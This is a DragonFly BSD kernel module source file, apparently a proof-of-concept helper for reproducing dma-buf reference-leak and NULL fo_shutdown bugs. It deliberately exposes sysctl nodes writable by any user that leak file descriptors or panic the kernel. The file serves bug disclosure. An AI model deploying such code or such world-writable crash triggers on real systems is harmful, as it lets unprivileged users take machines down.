DF-5134 / dmabuf_demo.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 | /* * dmabuf_demo.c -- DragonFly kmod PoC helper for DF-5133 / DF-5134 * (sys/dev/drm/linux_dma-buf.c: dmabuf_fileops.fo_shutdown == NULL and * dma_buf_fd() never drops the export reference). * * The QEMU guest has no GPU, so no drm device ever attaches and no prime fd * can be produced the normal (unprivileged render-node) way. This kmod * stands in for that hardware step by invoking the REAL dma_buf_export() / * dma_buf_fd() from sys/dev/drm/linux_dma-buf.c (resolved from drm.ko) in * the context of the sysctl caller. Everything after fd creation is the * genuine kernel path under test. * * sysctl nodes (CTLFLAG_ANYBODY => unprivileged users may fire them): * hw.dmabug.mkfd - export a dma-buf + install fd in CALLER's fd table * hw.dmabug.check - report the orphaned file's f_count (leak proof) * hw.dmabug.panic - export + fd + kern_shutdown(fd, SHUT_RDWR) in the * CALLER's context (emulates unpriv shutdown(2)) */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/module.h> #include <sys/sysctl.h> #include <sys/types.h> #include <sys/file.h> #include <sys/filedesc.h> #include <sys/proc.h> #include <sys/errno.h> #include <sys/socket.h> /* SHUT_RDWR */ /* ---- ABI mirrors of sys/dev/drm/include/linux/dma-buf.h (same order) ---- */ struct df_dma_buf_ops { struct df_sg_table *(*map_dma_buf)(void *, int); /* +0 */ void (*unmap_dma_buf)(void *, struct df_sg_table *, int); /* +8 */ void (*release)(void *); /* +16 */ void *(*map)(void *, unsigned long); /* +24 */ void *(*map_atomic)(void *, unsigned long); void (*unmap)(void *, unsigned long, void *); void (*unmap_atomic)(void *, unsigned long, void *); int (*mmap)(void *, void *); void *(*vmap)(void *); void (*vunmap)(void *, void *); int (*begin_cpu_access)(void *, int); int (*end_cpu_access)(void *, int); int (*attach)(void *, void *); void (*detach)(void *, void *); }; struct df_sg_table { int dummy; }; struct df_export_info { const struct df_dma_buf_ops *ops; /* same layout as dma_buf_export_info */ size_t size; int flags; void *priv; void *resv; }; struct df_dma_buf { /* mirror of struct dma_buf */ void *resv; void *priv; const struct df_dma_buf_ops *ops; size_t size; struct file *file; }; /* real symbols, resolved from drm.ko / kernel at kldload */ extern struct df_dma_buf *dma_buf_export(const struct df_export_info *); extern int dma_buf_fd(struct df_dma_buf *, int); extern int kern_shutdown(int, int); static struct df_dma_buf *leak_db; static int release_ran; static void demo_release(void *arg) { release_ran = 1; kprintf("dmabug: ops->release(dmabuf=%p) ran -> dmabuf_close() frees it\n", arg); } static struct df_dma_buf_ops demo_ops = { .release = demo_release, }; static struct df_dma_buf * demo_export(void) { struct df_export_info exp; memset(&exp, 0, sizeof(exp)); exp.ops = &demo_ops; exp.size = 4096; return dma_buf_export(&exp); } static int dmabug_mkfd(SYSCTL_HANDLER_ARGS) { struct df_dma_buf *db; int fd = -1, out; db = demo_export(); if (db == NULL) { kprintf("dmabug: dma_buf_export failed (ENFILE?)\n"); return (ENOMEM); } fd = dma_buf_fd(db, 0); kprintf("dmabug: mkfd: uid=%d dmabuf=%p file=%p fd=%d f_count=%d " "(expect 2: falloc + fd-table)\n", curproc->p_ucred->cr_uid, db, db->file, fd, db->file->f_count); leak_db = db; release_ran = 0; out = fd; return sysctl_handle_int(oidp, &out, 0, req); } static int dmabug_check(SYSCTL_HANDLER_ARGS) { int out; if (release_ran) { out = 0; kprintf("dmabug: check: ops->release ran + file freed -> " "NO leak (fixed kernel)\n"); } else if (leak_db != NULL && leak_db->file != NULL) { out = leak_db->file->f_count; kprintf("dmabug: check: dmabuf=%p file=%p f_count=%d " "(fd closed, no other owner exists; " ">=1 => LEAK, 0/freed => ok)\n", leak_db, leak_db->file, out); } else { out = -1; kprintf("dmabug: check: no dmabuf exported yet\n"); } return sysctl_handle_int(oidp, &out, 0, req); } static int dmabug_panic(SYSCTL_HANDLER_ARGS) { struct df_dma_buf *db; int fd, out = 1; db = demo_export(); if (db == NULL) return (ENOMEM); fd = dma_buf_fd(db, 0); kprintf("dmabug: panic: uid=%d dmabuf fd=%d f_ops=%p " "fo_shutdown=%p (NULL => indirect call to 0)\n", curproc->p_ucred->cr_uid, fd, db->file->f_ops, db->file->f_ops->fo_shutdown); kprintf("dmabug: panic: calling kern_shutdown(%d, SHUT_RDWR) -- " "same path as an unprivileged shutdown(2) on a prime fd\n", fd); kern_shutdown(fd, SHUT_RDWR); kprintf("dmabug: panic: shutdown RETURNED (fo_shutdown set => fixed)\n"); out = 0; return sysctl_handle_int(oidp, &out, 0, req); } SYSCTL_NODE(_hw, OID_AUTO, dmabug, CTLFLAG_RW, 0, "dmabuf demo knobs"); SYSCTL_PROC(_hw_dmabug, OID_AUTO, mkfd, CTLTYPE_INT | CTLFLAG_RW | CTLFLAG_ANYBODY, NULL, 0, dmabug_mkfd, "I", "export dmabuf fd into caller table"); SYSCTL_PROC(_hw_dmabug, OID_AUTO, check, CTLTYPE_INT | CTLFLAG_RW | CTLFLAG_ANYBODY, NULL, 0, dmabug_check, "I", "check orphaned f_count"); SYSCTL_PROC(_hw_dmabug, OID_AUTO, panic, CTLTYPE_INT | CTLFLAG_RW | CTLFLAG_ANYBODY, NULL, 0, dmabug_panic, "I", "fire shutdown() on a dmabuf fd"); static int dmabug_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: kprintf("dmabug: demo module loaded (drm.ko provides " "dma_buf_export/dma_buf_fd)\n"); return 0; case MOD_UNLOAD: kprintf("dmabug: demo module unloaded\n"); return 0; } return 0; } static moduledata_t dmabug_mod = { "dmabugdemo", dmabug_modevent, NULL }; DECLARE_MODULE(dmabugdemo, dmabug_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |